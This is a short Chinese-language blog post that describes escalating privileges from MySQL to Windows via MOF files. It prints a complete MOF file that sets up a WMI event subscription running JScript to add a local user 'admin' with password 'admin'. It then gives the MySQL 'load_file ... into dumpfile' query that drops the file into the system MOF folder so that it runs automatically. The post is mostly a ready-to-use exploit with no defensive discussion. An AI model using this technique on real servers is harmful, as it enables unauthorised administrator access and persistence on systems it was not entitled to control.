MySQL提权之MOF

0x01 前言

Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:

  • 将MOF文件执行为命令行参数及Mofcomp.exe文件
  • 使用IMofCompiler接口和$CompileFile方法
  • 拖放到%SystemRoot%\System32\Wbem\MOF文件夹下的MOF文件中

使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下。

0x02 漏洞利用方法

  1. 将一下代码保存为nullevt.mof文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    #pragma namespace("\\.\root\subscription")
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };

    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
    };

    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
  2. 通过MySQL查询将文件导入

1
select load_file('c:\\recycler\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

导入后,系统会自动运行该文件。

本文标题:MySQL提权之MOF

文章作者:Pino-HD

发布时间:2018年06月10日 - 15:06

最后更新:2018年06月10日 - 15:06

原始链接:https://pino-hd.github.io/2018/06/10/MySQL提权之MOF/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!